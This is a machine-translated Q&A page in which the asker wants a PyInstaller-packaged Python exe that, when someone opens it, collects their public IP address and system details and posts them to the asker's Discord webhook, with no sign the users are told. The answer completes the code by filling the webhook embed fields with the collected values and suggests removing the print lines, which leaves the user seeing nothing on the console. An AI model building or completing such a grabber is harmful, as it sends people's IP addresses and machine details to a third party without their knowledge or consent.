python - 从 python 发布到不和谐的 webhook
问题描述
由于基本上没有人查看而重新发布
我目前正在开发一个 python 程序,我正在寻找要发送到不和谐 webhook 的用户计算机数据,这个想法是当用户打开它也会发送的程序时,用户计算机的硬件信息将被发送到 webhook他们的公共 IP 地址,在我完成程序后,它将使用 pyinstaller 转换为 exe,因此人们可以打开它,但他们将无法编辑它。请查看我在下面尝试过的代码,如果有人可以编辑/更改代码以使其正常工作并成功将用户数据发送到 webhook,这将是一个巨大的帮助!谢谢
我从https://pypi.org/project/discord-webhook/获取了不和谐的 webhook 文本
#getting system info
ip = get('https://api.ipify.org').text
print('Ip address=: {}'.format(ip))
print("="*40, "System Information", "="*40)
uname = platform.uname()
print(f"System: {uname.system}")
print(f"Node Name: {uname.node}")
print(f"Release: {uname.release}")
print(f"Version: {uname.version}")
print(f"Machine: {uname.machine}")
print(f"Processor: {uname.processor}")
#Discord webhook stuff
from discord_webhook import DiscordWebhook, DiscordEmbed
webhook = DiscordWebhook(url="your webhook url", username="New Webhook Username")
embed = DiscordEmbed(
title="Embed Title", description="Your Embed Description", color=242424
)
embed.set_author(
name="Author Name",
url="https://github.com/lovvskillz",
icon_url="https://avatars0.githubusercontent.com/u/14542790",
)
embed.set_footer(text="Embed Footer Text")
embed.set_timestamp()
# Set `inline=False` for the embed field to occupy the whole line
embed.add_embed_field(name="System", value="Lorem ipsum", inline=False)
embed.add_embed_field(name="Name", value="dolor sit", inline=False)
embed.add_embed_field(name="Version", value="amet consetetur")
embed.add_embed_field(name="Processor", value="sadipscing elitr")
webhook.add_embed(embed)
response = webhook.execute()
The system info bit works fine on its own it prints out all the info that you can see, the tricky part is the Discord section as im stuck on how to send the system data over to the discord webhook rather than it just printing out into the console.
任何帮助都会很棒
谢谢,奥利弗
(我已经删除了任何信息,例如我用来阻止人们登录的不和谐网络钩子)
解决方案
您可以删除(或在前面添加 # 注释)打印行以阻止脚本在控制台上打印信息。
要在 webhook 中发布信息,您可以在value
webhook 的字段中设置 print 语句中的值。例子:
embed.add_embed_field(name="System", value=f"{uname.system}", inline=False)
推荐阅读
- javascript - css 三个居中的列
- python - 如何确保使用 for 循环在 Python 字典中创建正确的键:值对并尝试除外?
- java - 如何在适配器recyclerview中使用两个arraylist
- reactjs - Ant Design Form.Item 中的自定义 validateStatus
- python - AttributeError:类型对象'Graph'没有属性'DataFrame'
- android - WorkManager:定期工作未按预期工作
- r - 通过 %>% 将因子转换为数字:意外结果
- wordpress - 如何在我的 wordpress 上添加横幅以便在我的每个帖子中都有它?
- sqlite - 使用 SUBSTR 分隔 SQLite 中的值
- ios - LineChart 未显示在带有 SwiftUI 和图表库的 ScrollView 中